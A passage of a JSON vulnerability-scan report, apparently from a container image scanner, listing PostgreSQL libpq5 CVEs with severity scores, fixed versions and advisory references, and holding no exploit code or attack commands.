"https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14662.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14662", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14662", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14662/" ], "PublishedDate": "2026-08-13T13:17:43.553Z", "LastModifiedDate": "2026-08-29T23:17:11.01Z" }, { "VulnerabilityID": "CVE-2026-14664", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14664", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5257a0c09f128adcc187e52753755cb492389aa32ba07666016844e421c124f7", "Title": "postgresql: PostgreSQL: Arbitrary code execution via heap buffer overflow in regexp", "Description": "Heap buffer overflow in PostgreSQL regexp allows the query author to execute arbitrary code as the operating system user running the database, via text that would not pass encoding validation. This shares heritage with CVE-2026-2006, but this case involved unanticipated data growth when round-tripped through pg_wchar. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14664", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14664.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14664", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14664", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14664/" ], "PublishedDate": "2026-08-13T13:17:43.847Z", "LastModifiedDate": "2026-08-29T23:17:11.963Z" }, { "VulnerabilityID": "CVE-2026-14668", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14668", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:61777d5a5075915ce167edc29924ee16d706a8158f3c2c9e4cb6c8875c6683f7", "Title": "postgresql: PostgreSQL: Information disclosure via type confusion in ctid selectivity estimator", "Description": "Type confusion regarding input of PostgreSQL ctid data type selectivity estimator allows an object creator to view a calculation derived from the value of an arbitrary 4-byte span of memory, via a chosen non-ctid input. While the calculation loses precision, substantial memory value recovery appears possible. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-843" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14668", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14668.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14668", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14668", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14668/" ], "PublishedDate": "2026-08-13T13:17:44.137Z", "LastModifiedDate": "2026-08-29T23:17:12.83Z" }, { "VulnerabilityID": "CVE-2026-14669", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14669", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:726382e2d864a7f9366748f8fb1c529eff9f589659ebad2161ee1db0758c55aa", "Title": "postgresql: PostgreSQL: Arbitrary code execution via long POSIX timezone abbreviation", "Description": "Heap buffer overflow in PostgreSQL to_char(timestamptz) allows the party choosing the timezone to execute arbitrary code as the operating system user running the database, via a long POSIX timezone abbreviation. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14669", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14669.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14669", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14669", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14669/" ], "PublishedDate": "2026-08-13T13:17:44.28Z", "LastModifiedDate": "2026-08-29T23:17:13.27Z" }, { "VulnerabilityID": "CVE-2026-14670", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14670", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:238a64da7480aaa3034e01a01eaf9398db36ed3dfcd0c3268d823eeae4a70d16", "Title": "postgresql: PostgreSQL: Arbitrary code execution via plperl tied hash heap buffer overflow", "Description": "Heap buffer overflow in PostgreSQL plperl return of a tied hash allows the function owner to execute arbitrary code as the operating system user running the database, via a crafted function body. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14670", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14670.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14670", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14670", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14670/" ], "PublishedDate": "2026-08-13T13:17:44.407Z", "LastModifiedDate": "2026-08-29T23:17:13.697Z" }, { "VulnerabilityID": "CVE-2026-14671", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14671", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ffe5d05a65c099d81e89483c0a2bde49778c78ed3db052522e8735d7828b6d08", "Title": "postgresql: PostgreSQL: Arbitrary code execution via type confusion in 'refint' module", "Description": "Type confusion in PostgreSQL module \"refint\" allows an object creator to execute arbitrary code as the operating system user running the database. The fix for this emerged as a non-security bug report, and the fix appear in the git repository with subject \"refint: Remove plan cache.\", without a CVE number. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-843" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14671", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14671.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14671", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14671", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14671/" ], "PublishedDate": "2026-08-13T13:17:44.53Z", "LastModifiedDate": "2026-08-29T23:17:14.127Z" }, { "VulnerabilityID": "CVE-2026-14677", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, 